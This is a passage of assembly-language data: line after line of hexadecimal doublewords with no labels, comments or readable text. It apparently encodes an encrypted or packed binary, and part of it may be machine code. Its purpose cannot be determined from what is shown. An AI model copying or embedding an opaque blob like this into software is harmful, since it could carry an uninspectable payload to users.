81042454h, 1D042444h, 42000000h, 4818C352h dd 0BCA309E6h, 6052F717h, 1EC58D89h, 89530613h, 1325CDBDh dd 6A5806h, 0DA995FFh, 0C08B0613h, 0FAA73AEBh, 7B32943Fh dd 0D5F15FFh, 0F5B1717Ch, 64AD3967h, 571484FFh, 0FD0D3A7h dd 6605AAFCh, 1D80F83Eh, 45E2C20Dh, 0A33CB076h, 4A4B0581h dd 8A6E6AFFh, 4787CF3Bh, 0DA006866h, 29E9h, 85C27F00h dd 4Fh, 8 dup(0) dd 0FBE90000h, 86000004h, 9AC01E38h, 82A80648h, 9CBE1C2Eh dd 83A5054Bh, 8DC01E36h, 58FC49A2h, 4A08587Ah, 57F1466Ch dd 4C005177h, 0B7A656Eh, 16B7298Fh, 0BD1D4158h, 6D51E06Ch dd 735774E0h, 0B9D869E1h, 1E04212Fh, 5675C48Eh, 9DB4AB27h dd 70117410h, 0B6D36668h, 0FB1A2B25h, 0A3123D9Ah, 0ABBE6107h dd 69AB2756h, 1174109Eh, 0D5F96870h, 99B50584h, 0D56569F8h dd 0FB77E879h, 6EED97Eh, 93A3FA91h, 1AABAD37h, 19AE9432h dd 0D3C53569h, 751459B2h, 0A5E07355h, 0EC2D3C18h, 0C09FBC8Dh dd 9DBBD14Dh, 717B9A10h, 0B081D15Fh, 489BBF9Ch, 8D03100h dd 785A0D7Eh, 0B8D968E6h, 1891E30h, 9DBC128Ch, 0DBBADB10h dd 0C884D5FBh, 0DA7AC7EBh, 23C20A8Bh, 0E28AFB24h, 17B2F176h dd 7D223DB8h, 99232DB7h, 9E13EB6Ah, 55E66410h, 41B56927h dd 64D1A3h, 0BD650000h, 2051E06Ch, 109DB4A4h, 0DC007919h dd 0A341EA1Ch, 6C4h, 0A3331700h, 0BDB721ABh, 6E50E16Dh dd 3020AFDCh, 0B081E021h, 0FD503D8Eh, 0B5025C91h, 4ACB109Dh dd 9AFB1A2Bh, 61DA18CBh, 0EA6499B6h, 0B3109DB4h, 0E9BD6D52h dd 97B83743h, 93BB0B4Dh, 0F5FF0B34h, 0BEC45D09h, 3B85E46Eh dd 0A2AA3B1Dh, 70BDA604h, 0E17155E4h, 9C36DC6Dh, 6EE6731Fh dd 0FB4B6F50h, 0F6478953h, 71C30756h, 0F34688D9h, 0D1C30859h dd 29E4BB8h, 103A8E30h, 3ACF3941h, 7308824Bh, 41229B49h dd 6243A3h, 0BD170000h, 7155E470h, 89DA6BDFh, 73C27009h dd 52DFC1E1h, 0C00F3302h, 6E98C190h, 0E8F1AFDDh, 0AF93A341h dd 6FD96E21h, 16DE3F0Eh, 4F8Fh, 70BDB300h, 547655E4h, 99F849FFh dd 0DBAAFD4Fh, 5D8BFC8Ah, 1F31C375h, 0CFAEEF7Eh, 0D577CAF0h dd 577B5C0Bh, 0BA0D35E2h, 0B69C2C8Eh, 7C5E66A7h, 0E94767EDh dd 50E16DBDh, 9DB4A021h, 791910h, 41EA1CDCh, 6C4A3h, 33170000h dd 0BA24ACA4h, 4346DDC2h, 142EBACEh, 14368ACCh, 0A85090B7h dd 26F3B0C0h, 0BA0B4F9Eh, 638DC392h, 0C71941E6h, 0AEC266BDh dd 80E18FE5h, 468850B1h, 84495F2h, 144D4969h, 31205572h dd 0E2168F72h, 1DB092A3h, 18A98F2Fh, 78D42534h, 0B10A8B70h dd 67FAA821h, 52E3C5E5h, 0AAF57234h, 751489C2h, 0A7E07456h dd 0E4253414h, 8B55B485h, 1F67FADCh, 3E8F7C78h, 0F9DE3F0Eh dd 0CEF043EAh, 0A0B1D07Ah, 27DB70DAh, 0EE66F396h, 0C5932F8Fh dd 6D5AAC73h, 130h, 0C8BEA3D1h, 0BC377AEBh, 4DD0168Eh dd 8D00DFFCh, 0A8AA611h, 90ACF5DAh, 3E55A064h, 0F243955Fh dd 3567C5Ah, 83D6F849h, 0F89278C9h, 0CE7ECF83h, 5EEBCFF0h dd 0A676EEF6h, 0E5AAD61h, 6Dh, 9BDDC234h, 1068134h, 0BFA814DCh dd 0F571E4C3h, 0FE6F629Bh, 0E33FCE9Fh, 0E5909E04h, 2CA6D7F8h dd 0F5909E05h, 4DBE4890h, 2B29B89Ah, 0C5F1FB1Ah, 0B995259Ah dd 0B786C215h, 65983756h, 0EF629BC9h, 0F15FF0D2h, 2A153290h dd 0D80D3417h, 109E9E7Eh, 0C0E1C647h, 93CE166Ch, 94h, 4CB183ACh dd 8AB87E6Bh, 92396DA5h, 0C20AD7C8h, 0C8BEA318h, 0A18F7AEBh dd 1578168Eh, 93F94B6h, 0FC2320BFh, 5045B1BBh, 14468EA1h dd 52B8BC1h, 0CC88D5B4h, 0EA6D9CADh, 2B0A8AB0h, 0D27CCEF4h dd 30A50283h, 0A8AAFD6h, 1C767E9Fh, 0EA62F39Fh, 0F195CCCCh dd 43CAF5D2h, 959D168h, 0AB0123A7h, 1CB1BE04h, 0A06E35D4h dd 8A0B1071h, 26B69CBBh, 0F4FC1D2Ch, 6CFD4FE2h, 0B385F678h dd 59212AEh, 1B9FBF6Eh, 0E7755D7Ah, 174616Bh, 0A57EE1Ah dd 0DA7856B7h, 280ABEA3h, 68A9B896h, 9DB49DF9h, 0D3646610h dd 5E7D1C7Dh, 84C1482Fh, 3A0E516h, 3F55B124h, 0FF1E0A84h dd 15476F5h, 0F4456B4Bh, 66074395h, 9866A6D7h, 3BB752E7h dd 8BC114BEh, 2381032Ch, 0F3420C9Eh, 0AB7F2D92h, 6D53814Bh dd 0E5BFAADCh, 1326C74Dh, 50DFE372h, 6223B63Ah, 7C1D77B9h dd 475F7EDh, 6EDE6F53h, 2436BEDFh, 3A1BBB91h, 7E268615h dd 0E3EDB9F1h, 0CFEC60F1h, 67F65EEBh, 124F9E26h, 3, 0BDE17BB0h dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E18951h dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 9368240Ch, 8900002Eh dd 8951240Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h, 2434895Ch dd 1975C968h, 240C8B06h, 4C481h, 8B540000h, 0C4832434h dd 79646804h, 0C890000h, 8468F24h, 5E2434FFh, 4C481h, 0C8B0000h dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 6A6E95Ch dd 0D943FFFAh, 111A3B97h, 46B8E06Ah, 306197Ah, 25E0FFC5h dd 66685EEh, 7B09F88Eh, 637508F0h, 5935DCA9h, 853583DBh dd 41EA921h, 28157CACh, 0A75AB7EDh, 1A345316h, 657932D4h dd 0B016422h, 0D4B5243h, 7056BF77h, 82435F30h, 4075320Bh dd 0DC7A683Fh, 91451625h, 0E61B41DCh, 7004D2AAh, 25216E5Bh dd 803629ACh, 0C02E2F08h, 0BC43C779h, 267BCC5h, 0C64DA7EFh dd 10105039h, 0AE35C4DBh, 0EF443FC7h, 5372156Ch, 5DB160A0h dd 0AEB0BB59h, 57493256h, 0ABB36A56h, 0D4383D36h, 16B13256h dd 2D9CC237h, 51316C54h, 5DB15391h, 0AEB135BFh, 2C275F56h dd 2AB4A505h, 0DA483256h, 0EAB138DDh, 0F3BE5256h, 0BAB13256h dd 5DD020E0h, 23BEC756h, 57B1325Eh, 0ABB3B259h, 0B4D13256h dd 2D13256h, 75B1325Fh, 5259572Fh, 921CA043h, 0FDEFCEEFh dd 5163C6ECh, 0ABD06C03h, 0D5BEDB56h, 0ED83256h, 3A532EA3h dd 0CE40D540h, 0B5C8D3BEh, 0F3E165DAh, 57B13256h, 297766EAh dd 0D55ED310h, 0DF3BCA56h, 75B13209h, 40F92E56h, 0FE33172Ch dd 3B538039h, 0C7CA023h, 53B13282h, 29B132A3h, 69BE3256h dd 75B1325Fh, 4D05236h, 25BD9BCCh, 47B13237h, 57B13245h dd 0CF59B36Ah, 3EDB18DEh, 8C000275h, 0F49FF974h, 0BA3F7DBCh dd 5DB1C756h, 0AEBDDB36h, 96B43256h, 0C2D1E9h, 8172873Bh dd 231AEE9h, 75B15334h, 0BAB0B959h, 5D493256h, 26BECE56h dd 57B13277h, 0ABA5DB36h, 78103256h, 0DAF47E8Ah, 8DB567F5h dd 0A56CEAC0h, 0A2D2933Bh, 5930871Bh, 793EE88Fh, 42B13237h dd 0D5B13245h, 47127A7Dh, 0EE6B45E0h, 4F79C606h, 0E5FC9A4Eh dd 0AEF22198h, 40303D56h, 42B13256h, 0D5B13244h, 0CBFFE551h dd 4775167Ah, 27F1FB1Dh, 0C4298848h, 0AEB165E3h, 52363D36h dd 0CDB13256h, 9172DBD7h, 0EAA1BD59h, 7E583256h, 9FB13256h dd 0BC9D3EB0h, 5D581343h, 57D01149h, 0A5383D56h, 3CB13256h dd 0EAB1325Fh, 589BAF22h, 1B93633h, 5C333D2Ch, 52B13256h dd 5E583256h, 5B13256h, 6D34771Dh, 6DFAB280h, 75443256h dd 0BB393D56h, 0A4B13256h, 0A1D13256h, 0D3BEF5E1h, 0ABB13256h dd 0D2303D37h, 0E5B13256h, 75B133D5h, 0BAB1CB56h, 5DBBB759h dd 0AB583256h, 2AB13256h, 0C6214094h, 0C7583256h, 0D3B13256h dd 67AFB7EDh, 668D492Fh, 0CDB4F61Bh, 28271CD0h, 0BEB13212h dd 0ABB13253h, 894FEEE1h, 60BE5213h, 75B13250h, 39B6FDD7h dd 4D591C60h, 10B13256h, 0D1C9F44Ch, 9781F10h, 261D8F85h dd 8CCB88A6h, 2D6DE3D7h, 0BAB15308h, 5DB123BFh, 28E61F56h dd 1F31EF1Dh, 0E7D67028h, 8616E530h, 0E5583E55h, 28B13256h dd 68CCB24Eh, 2C45A53Ah, 0F3E4404Fh, 57B1273Fh, 0ABB130AAh dd 0D5A8B456h, 0FE583256h, 0E2B13256h, 0D90A1DC7h dd 0C28D1E4Fh, 489EB495h, 0EC5ED960h, 0ABEFB275h, 0D269CA56h dd 0EAB33253h, 75BE3250h, 0BA83325Fh, 0ED030D6h, 520EC603h dd 2BFAE52Ch, 0A4DC8541h, 0D5B139DFh, 0EAB7DB56h, 6E7B3256h dd 0E29DD24h, 0DDBE3256h, 0AEB1325Eh, 57B3B759h, 0CAD13256h dd 3CD13256h, 0EAB1325Ch, 26970B08h, 0C93A96C6h, 4E1AE85h dd 0A1B13237h, 57B12BD0h, 0ABA5DB56h, 70DF3256h, 57CCDF76h dd 49BCAD70h, 11C8B8h, 0A551825Ch, 19D16D94h, 843B8CFBh dd 0ABD060C4h, 0D5B1CA56h, 16B132AAh, 77E73256h, 0BAB13257h dd 0B4B132A3h, 0AEB13258h, 61A577AEh, 8D5BBC6Fh, 0C44F9958h dd 0EAB1EFD0h, 75BE3000h, 0B0583256h, 0E1B13256h, 4DC6C57h dd 0AB0184FAh, 0CBB132A3h, 0D5B134BFh, 87A6B056h, 8D12373Fh dd 0B358A237h, 40B13256h, 0B7D151C4h, 823D8D88h, 0ABB7DB06h dd 62073256h, 0B9F3BF72h, 20BD0DC6h, 0DA803DC5h, 7E96837h dd 0FED1620Eh, 5258AE04h, 0C2B13256h, 0F0ADBDB8h, 3B9D7D6h dd 75B13250h, 6705B590h, 522C1104h, 783A5467h, 8E3A6A0Ch dd 0E4B1A237h, 0BE0BD78Ah, 0AD37539Eh, 96A3AF22h, 85EFABB6h dd 0BD31675Ah, 0AEB7DBAEh, 60873256h, 78733FF2h, 2B2753CBh dd 0AE3A530Eh, 0E9D13672h, 0BAB139BFh, 20651556h, 0D7F1F124h dd 62DD2DE8h, 0F371B330h, 0D5B7DB63h, 0FD273256h, 0C693DF52h dd 0BA3A53CBh, 5DB13DBFh, 8F391956h, 0A853510h, 0F2119184h dd 0C07DCD48h, 0EE9576DFh, 27E16536h, 0E2EB0359h, 0FE95308h dd 0A1586006h, 2CB13256h, 0FC67C3CEh, 26D31F12h, 0A51F1BE6h dd 44BED78Ah, 8BBE6006h, 5EB6A0Ch, 0FED10359h, 0D803D04h dd 57288C0Eh, 8FD05053h, 0CFAD6A0Eh, 7AD10359h, 0E0E0E4E9h dd 5E96837h, 0E11F1BE6h, 66BED78Ah, 9ABE6006h, 8DEB6A0Ch dd 3E96A0Ch, 75B1325Bh, 0F886EFD6h, 0ABC92470h, 8B575E25h dd 57D06930h, 0ABB1CE56h, 0D5BDB959h, 65BE3256h, 75B13250h dd 0BAB1B859h, 5DB13256h, 47B132AEh, 57B13242h, 3E3BDB9h dd 889BDF71h, 23ADF88Eh, 0E00A1B25h, 65F3F442h, 52B132A3h dd 0AEB133DBh, 57B1CA56h, 0CBB132AEh, 0D5BCB259h, 0E2583256h dd 9FB13256h, 0EC1EED5Fh, 3CECDEB8h, 0AEA2BD59h, 59583256h dd 0D8B13256h, 659EF2DFh, 0FCD125C9h, 0B2116F94h, 0B5B13281h dd 5DB138DAh, 5B315256h, 0A4305403h, 0ABD0D41Fh, 2B3A5256h dd 8AD0E2DDh, 75D0F5DCh, 0BAB1CE56h, 5DBBB459h, 0AB583256h dd 67B13256h, 6D1C0142h, 5DBE3256h, 0EAB13257h, 89B132AFh dd 0BF583256h, 0FB13256h, 0A3851F85h, 58583256h, 9BB13256h dd 0F2B06548h, 971CFA6Ah, 4042EDABh, 0BA44B3F1h, 2E35256h dd 0B2A6DDD7h, 57D0748Ah, 20D75256h, 297CB29Eh, 16B13237h dd 7C583256h, 0DB13256h, 0BD33E206h, 9E99B5CCh, 574D3256h dd 0ABB1CA56h, 0D5B13BBFh, 33A7CB56h, 3E5FFDFAh, 0BAB10F53h dd 5D353D36h, 2EB13256h, 57D09483h, 5B3A5256h, 0DAD0F3DCh dd 0EAB133D3h, 75B1CA56h, 0BAB126BFh, 0B1425A56h, 85185266h dd 0F375D4BBh, 163BB259h, 30A99A4Bh, 0E5B13264h, 75B127D3h dd 0BAA1DB56h, 0F6BA3256h, 37686F53h, 0B8EED512h, 0DC1E94F9h dd 0D5B167DBh, 13B132A3h, 0FEBE3256h, 0BAB13257h, 52B132AFh dd 0AEB133D3h, 57B1CE56h, 0B8585236h, 9AB13256h, 9B49BF4h dd 0CE34F467h, 0DC48F617h, 240B0B2Ch, 23BEB8C5h, 57B13256h dd 55063D37h, 0DAB13237h, 0EAB13EDAh, 73303D56h, 0B5B13256h dd 5DB132DDh, 47B13256h, 57B13244h, 4F5BA681h, 0DE4DCC2Ah dd 0D0F371ECh, 8964AA90h, 0BAB193FEh, 0DC72B936h, 28CCAB81h dd 57B1536Ah, 0CA6FB836h, 0C6583256h, 5B13256h, 3A37D1B2h dd 18582C3Ch, 6FF6D165h, 29F50B0Ah, 57B19074h, 0CBB132AAh dd 0CCC68930h, 8B66B930h, 75BDB659h, 0BD583256h, 0DAB13256h dd 3E00E0D6h, 57B1E8C4h, 0C847B236h, 0DAEB6336h, 0EAB132DEh dd 75D05356h, 0BABEDB56h, 0D9E53256h, 7836CA9Dh, 185AE473h dd 0C1967DAFh, 0D5BDDBF0h, 71743256h, 71B813E3h, 5E3654EAh dd 5DB1A36Dh, 1E63B236h, 36618559h, 53B132AEh, 0D5443256h dd 0EAB8DB56h, 31F23256h, 0BCAC89A7h, 5D8F2F75h, 0AEB1CA56h dd 57B8B059h, 11D13256h, 0A73A2947h, 0EAD05336h, 75A3DB56h dd 62193256h, 81599BF9h, 556EC7EFh, 73BE3A8Eh, 312E72Fh dd 0D5443256h, 0ED353D56h, 7AB13256h, 0BAB133D9h, 5DB1CE56h dd 5BB132AFh, 57443256h, 0ABB1CA56h, 0D5B8DB36h, 56FC3256h dd 0F392B3CFh, 0DB68B1D9h, 5DBFDB36h, 0ECCB3256h, 8975625Dh dd 84A4BD9Eh, 52B78BA9h, 0E9788930h, 89B13237h, 4FD13256h dd 9043FECh, 0AEB15332h, 89063D36h, 12D75237h, 0D5D0B891h dd 6A495256h, 75D09AB8h, 0BAB1C756h, 5DB9BD59h, 29BE3256h dd 57B13254h, 0ABB15336h, 0D5B13BBFh, 2C2C0A56h, 4F3B252Fh dd 0BAB16E28h, 0A4B132AEh, 22BE3256h, 57B13257h, 53B132AFh dd 0DA583256h, 30B13256h, 2E1E68F6h, 0E53DAF18h, 5379B5ACh dd 0AE497303h, 57A0DB56h, 248D3256h, 45ED498Fh, 6AD49381h dd 0D381B056h, 0BA937FCCh, 5DB1CE56h, 57B132AFh, 44583256h dd 18B13256h, 3F9B3A5Bh, 9D57EC6Ch, 6830795Ch, 3118B252h dd 5DB12A10h, 0AEB13EBFh, 972D0056h, 8EE79EEh, 809519ECh dd 8AB132C9h, 0F7FD62E9h, 4A063D5Eh, 52B13237h, 0AEB13FD9h dd 0A4305256h, 8A2988B7h, 5EE3BCEDh, 0EAB15341h, 75A6B459h dd 0A8583256h, 6FB13256h, 1350B6ECh, 46B8DF4h, 0CCEC0192h dd 6D0D0407h, 54D15251h, 718585D2h, 0BB303D37h, 0A5B13256h dd 0A1B13237h, 57B120DEh, 0ABBCDB56h, 50AC3256h, 0A9A12356h dd 0C7DDED86h, 0BAAA3567h, 5DB1CA56h, 0AEB139BFh, 26467E56h dd 0D2BE216Ch, 33606708h, 53D13256h, 55FF8A95h, 0BAB13DBFh dd 711F7D56h, 67139D3Dh, 4660949Fh, 0A1042801h, 0B5B13237h dd 6AEACB07h, 15D0279Ah, 53EECB00h, 5DB13259h, 0CC9CDBE5h dd 869EB571h, 0B91F6FAEh, 0B4F27CBFh, 0F8583256h, 0D2B13256h dd 89E362FFh, 4520A445h, 8F07FDD2h, 0BE23EB92h, 53B13298h dd 55D13256h, 0ED0EE984h, 14D07FD9h, 43493256h, 4E583256h dd 54B13256h, 0C187A9A6h, 0C8AE01C8h, 0A3371A8Bh, 0F801DE25h dd 75B10C9Dh, 0BAB13DBFh, 95853056h, 0B45482E3h, 0C48C904Dh dd 7825DC58h, 0D5483256h, 0E1353D56h, 15B13256h, 3BA8FDD6h dd 1696E7BEh, 0AEB15338h, 57BDBA59h, 2ABE3256h, 0D5B13250h dd 0EAB1B959h, 75B13256h, 0BAA1DA36h, 4C1D3256h, 5669F972h dd 4A6CC45Ch, 0C955FDEh, 8AE70400h, 8BD1620Dh, 13D1530Fh dd 0B150FCD7h, 5DB153AFh, 877DB236h, 0DDAD8930h, 42B13237h dd 0D5B13246h, 0D144CF15h, 531C7F6h, 2915AAE9h, 1FFAAF51h dd 0A6583256h, 0EEB13256h, 3C55D1F4h, 0D53A05CAh, 0FE585256h dd 2BB13256h, 0BDBFB8A5h, 9DA2B778h, 6FDC0D9Fh, 54727801h dd 5342B66Ah, 0B5B13237h, 0E5E7C7E3h, 75B132D1h, 0BAD06C56h dd 5DB1CA56h, 0CEB132AEh, 57B13EBEh, 2E34456h, 552AD8C3h dd 0EE8E58F0h, 75373D4Ch, 0E3B13256h, 27DE8B30h, 0A1B13237h dd 57B13ED8h, 0AD373D56h, 0DAB13256h, 0EAB132D4h, 9CB13256h dd 0BAB13244h, 92DC4768h, 41FDAC2Fh, 0A78E0484h, 0A386040h dd 0D5B11731h, 12063D36h, 0E4F68930h, 0BAB1CA37h, 5DB0B859h dd 0AE4D3256h, 453C3D56h, 0CBB13256h, 0D5B135BEh, 11C42656h dd 7206D3A8h, 6C0E3D09h dd 0A5B13237h, 2FD13256h, 724A629Fh, 9A0F542Ch, 0D5B1533Ah dd 0EAB9B759h, 0F8BE3256h, 0BAB13254h, 5DB15336h, 0AEB13ABFh dd 2D2EAF56h, 9095F35Eh, 2CB13287h, 6FBE3256h, 75B13272h dd 0BAB8DB36h, 0C0DE3256h, 83F2E935h, 0BF464D32h, 0ABB13258h dd 6EB40376h, 0DE63A797h, 19A2E34Eh, 0DBEEF0D0h, 5DB13EBFh dd 18427856h, 928DE03Bh, 6B14FC44h, 3CB1327Dh, 0EAB1325Ah dd 0C727C0F5h, 83E8EDF5h, 0D420DB49h, 0A7583256h, 0E2B13256h dd 39665982h, 0D8052E31h, 8CD13256h, 2EF0D4D7h, 0DAB13237h dd 9BF487EDh, 52D0CB48h, 47583256h, 76B13256h, 7D185DB6h dd 0EBB908B2h, 68E02EA4h, 0BAD25302h, 91315256h, 28BE6093h dd 57B13256h, 0ABB1530Eh, 0D5B7DB36h, 0C8F03256h, 6A2E1A5Ah dd 46B13237h, 5D483256h, 0AEA2DB56h, 0D4A23256h, 0C5FEF86Bh dd 60250A43h, 0FBD843B2h, 0E760DB09h, 0DAB13207h, 6962B330h dd 0A75863F6h, 0B13256h, 0A461E1F1h, 0B3B498AAh, 3D1530Ch dd 75B13247h, 0F0EB123h, 5125D3CBh, 0D552752Ch, 7844BB38h dd 59306389h, 0C5D15F85h, 0EAB1530Dh, 15B132AFh, 0BAB2B759h dd 0AC313256h, 0AEB1537Fh, 0DCD75236h, 43D0CB80h, 0D5B13250h dd 0C2D6A9Eh, 2F4D0883h, 53B13237h, 5DB1325Eh, 0A4AF1F3Bh dd 0EEBB6F6Ah, 0AC583256h, 0F0B13256h, 2A907ACh, 75B13A73h dd 0BABDB959h, 52D13256h, 0AEB132D1h, 12085456h, 0ABB153C0h dd 3305436h, 8B4D0EE6h, 0F5BE3256h, 0BAB1325Eh, 3B48B936h dd 0CF6B75EEh, 0D6D13256h, 56A0C8A0h, 2063D23h, 3B13237h dd 75B13251h, 0CB6D12B8h, 5DADC547h, 0AEA3DB56h, 47BF3256h dd 8B6E8670h, 52ACB0F1h, 404C2433h, 0EF79518Ah, 0BA493256h dd 5D44CE56h, 0AF393D56h, 0AFB13256h, 0AB493256h, 0D5B1CA56h dd 0EAB126BFh, 0C560A556h, 0AC2326D7h, 40FB839Ah, 97BB709h dd 87FFD6BAh, 0AD3A3DE6h, 0B5B13256h, 12498D59h, 8DB13237h dd 0BAB6B659h, 0DBBE3256h, 0AEB13257h, 0BEB132AAh, 0ABB1325Eh dd 6CEA5264h, 0BDAF02FCh, 9CB132AFh, 0BAB13251h, 14A75B0Ah dd 0AE21CF02h, 0D0BECA56h, 0ABB1325Ah, 0D5B7B159h, 64BE3256h dd 75B13256h, 0BD583256h, 0BEB13256h, 0EC047022h, 57B18D7Ah dd 0CBB132AAh, 0D5343D36h, 8CB13256h, 0CA77E2D7h, 0DBB88037h dd 5DB0B559h, 0AE4D3256h, 57BFDB56h, 5CF53256h, 3B1F530Fh dd 0FC1BDD22h, 0AFCDD202h, 0DBD13256h, 5DA7B859h, 0BF583256h dd 0B4B13256h, 0ADEF4AF8h, 0C9012478h, 0F7CCBFF9h, 96A8C2BEh dd 31D13256h, 3C7AB986h, 0AE4D3256h, 57B4DB56h, 0EBAA3256h dd 0D59B9AE9h, 0EAB1C756h, 75B135BFh, 2BFD5A56h, 0DFF5620h dd 0A0583256h, 33B13256h, 9A19DEFDh, 6BE5464Bh, 61E8837Bh dd 80B13240h, 0BA443256h, 5DB9DB56h, 3FFE3256h, 0E647D21h dd 0ABB15DE1h, 0D5BDBA59h, 6DBE3256h, 75B13250h, 0BAB1BF59h dd 5DB13256h, 0AD333D36h, 58B13256h, 20D7CDE1h, 0D5B15381h dd 0EAB13DBFh, 45D7ED56h, 936DCA4Ch, 4EAA0328h, 93C06248h dd 57443256h, 0F9E75256h, 6F0E6809h, 8BD1AB44h, 9CD13256h dd 0BAB1325Eh, 400AC312h, 90AC1150h, 37B13237h, 20ECE4D6h dd 55D1539Dh, 9401509Ch, 8DB13237h, 0BA493256h, 0B54D5256h dd 0AEB13244h, 64AF8681h, 0CB9E82C9h, 0AD7933E8h, 4DA1FFEh dd 0FED7DDF9h, 0BAD069A6h, 0E5D75256h, 17D7ACCDh, 57D0B1E4h dd 5C0B5256h, 54CEF891h, 42E9E18Fh, 75B15308h, 0BAA2BC59h dd 0DFBE3256h, 0AEB1325Bh, 57B13ABFh, 201A3356h, 71353D3Eh dd 0EB313D99h, 8DB13256h, 32BE3256h, 5DB13251h, 0E9A18C36h dd 57D05426h, 0ABA3DB56h, 66B73256h, 1B0D5783h, 0A0D456F5h dd 423BDFD1h, 7E1DBF7Ah, 0AE4D3256h, 57B1CA56h, 0AF333D36h dd 0B3B13256h, 35AC2E8h, 75B1325Eh, 8B0FA26h, 544F6122h dd 0AEB1CB37h, 57B8B659h, 0F8D13256h, 1B305408h, 0EAD03E2Ch dd 62363D56h, 53B13256h, 5DB13244h, 18A32FB9h, 0E343DBD8h dd 0BB75205Dh, 2C26250Ah, 0EAB11491h, 0F4D7CE36h, 0DB50D890h dd 0D1BE3256h, 0AEB13257h, 37B132AAh, 0B858C1DDh, 0B7B13256h dd 0B597CF2Ch, 678F7242h, 9CA840Fh, 0F9B7F6EEh, 5BD07367h dd 0E7D13256h, 0A83E3D31h, 0DAB13256h, 12D0F1E1h, 0F4BE3256h dd 0BAB13257h, 0B4B132AAh, 0AEB13246h, 74A29C3Ah, 14AFBACEh dd 38BF2230h, 0B462275Dh, 75493256h, 0BAB1CA56h, 5DB13DBFh dd 0DBBDD756h, 0CA048DD5h, 0D1BDA6B7h, 0BBCAD111h, 52D13256h dd 7995FCB3h, 0ADD4D9D7h, 5DD0381Eh, 27BECB56h, 57B1324Eh dd 0ABA3B959h, 0D8583256h, 79B13256h, 9A2C715Dh, 28E3FBABh dd 172815C2h, 2EBE3256h, 57B1324Bh, 0ABA6B959h, 0C7583256h dd 9DB13256h, 3BB16E1Dh, 95B0BD22h, 439BBFDh, 63817DFAh dd 58B13257h, 0ABB12FD5h, 0C5595256h, 2B13256h, 0D152D48h dd 65727492h, 0FC6214EFh, 0F056E4DFh, 8677B330h, 0ABB153DBh dd 0D5B122BFh, 0CC4A4F56h, 0AEE1DA2Bh, 12F72968h, 0FB29530Dh dd 0A6333DA4h, 37B13256h, 0E8CA8830h, 0D5D0C3DDh, 0EAB1CA56h dd 75B122BFh, 803F3B56h, 0FFC63C6Ch, 20100C97h, 54D17834h dd 5EB132DDh, 0DAB132AEh, 0EAB128D2h, 0C2BE5256h, 0BAA1DBA8h dd 8D733256h, 85D190B2h, 0D6C448FCh, 7240B1h, 0D5D05D0Bh dd 0E13E3D56h, 9CB13256h, 0BAB13250h, 7D097D12h, 0AEB10CD0h dd 57B9B359h, 25BE3256h, 0D5B13254h, 0EAB15336h, 75BCB759h dd 0DCD13256h, 8407D4D7h, 3A55F5D7h, 0AED023C0h, 0AB493256h dd 6BD75256h, 62BEB9EEh, 75B13255h, 0DB69B930h, 0D1BE3256h dd 0AEB13250h, 0DCF08236h, 0ABB15388h, 0D5B13CBFh, 0C632C656h dd 0C9450638h, 0D25AAB20h, 5D87D339h, 0BE0A5256h, 0BEC7A49Eh dd 0ABB13251h, 0A7D89209h, 8B444C53h, 7B583256h, 0B1B13256h dd 6F376E87h, 0D22C0C53h, 8A7BC937h, 0A4B132DFh, 0D5B12ED6h dd 0FC383D56h, 9CB13256h, 0BAB13247h, 988A4AD7h, 7DB884B1h dd 0CE6F8524h, 11AAA055h, 20B13225h, 0F9583256h, 0C5B13256h dd 44C16B22h, 394F06DEh, 2E25F700h, 96373FCFh, 0ABB183ECh dd 0DAB132A3h, 0EAB12FDFh, 0A03B5256h, 0BAB126BFh, 98EA4E56h dd 513F8611h, 55D8A2D8h, 0DF386D27h, 1729BF36h, 0EAB15369h dd 8DB132AAh, 0DAB132A3h, 5DD0FCDDh, 0BE585256h, 60B13256h dd 0BCD9B186h, 21B7A6E5h, 68014EC0h, 13D84656h, 2916E3D7h dd 553F3D37h, 0A1B13256h, 57B130DCh, 0ABD05256h, 54BE5256h dd 0EAB13253h, 5753B330h, 0BAB15366h, 52B132AFh, 0AEB135D8h dd 56343D56h, 52B13256h, 56BE3256h, 0EAB13257h, 80B132AAh dd 0BA483256h, 5DA1DB56h, 40253256h, 24774514h, 615E266Ah dd 3D1E5CFh, 0EAB15AAEh, 75BDB559h, 31BE3256h, 5DB13250h dd 0AEB1B959h, 57B13256h, 0ABB4DB36h, 55AA3256h, 0BCE09670h dd 75B1B859h, 0DBE93256h, 5B583256h, 13B13256h, 29D594B4h dd 0A4B13210h, 0D5B129DCh, 0FF363D56h, 9CB13256h, 0BAB13246h dd 0B5DB9B47h, 23ED74D1h, 0F3A01E8Ah, 377AFA6Ch, 0D2583256h dd 90B13256h, 958832CBh, 0BAB153BDh, 5DB6B259h, 2ABE3256h dd 57B13257h, 0A4B132AFh, 0D5B122D9h, 0E0383D56h, 9CB13256h dd 0BAB13253h, 4F36C6ABh, 0A1B132DEh, 57B133DEh, 57D1C756h dd 0D5B121BEh, 5E972256h, 0F7161289h, 0ACD4B54Bh, 3E6D98ABh dd 56EEA89Eh, 57B123BEh, 3BCAEF56h, 68F9E7AAh, 5A812E95h dd 0B22E52C0h, 0E3EB10AAh dd 0A4B13237h, 0A9583256h, 59B13256h, 0BE802299h, 0D54408A7h dd 0E6373D56h, 15B13256h, 0B78616EFh, 86305409h, 0AED0B226h dd 314D5256h, 0C269D8D7h, 0B5B13237h, 0DDB6D3D7h, 0FFD13A1Ch dd 0B5D053B9h, 5DB133D0h, 0AEB1CE56h, 57B13EBFh, 0A1A6CB56h dd 0D924B1BDh, 3085A53h, 8DB132EDh, 0DB168336h, 0D7BE3256h dd 0AEB13259h, 57B138BFh, 34BAED56h, 0DE862E8Eh, 8A60B3E1h dd 0F703E3D7h, 0A9095120h, 3CC1292Eh, 0A2583256h, 61B13256h dd 4ADA8CBCh, 0F3DF7CCCh, 0EAEF51DCh, 75B6DB56h, 33FA3256h dd 0F644DF3Eh, 52B132A9h, 0DDBE3256h, 0ABB1325Ah, 0D5B7B959h dd 60BE3256h, 75B13256h, 3D13256h, 5B3B283h, 0AED0C2DDh dd 0BE4D5256h, 0ABB1325Ch, 46FE17AFh, 34E72D56h, 75D0A4BCh dd 0BABBDB56h, 0E30C3256h, 0CE6BE882h, 67A83DE5h, 2CBE3256h dd 0D5B1324Eh, 0EAB121BFh, 0FFD54056h, 54B9D39Fh, 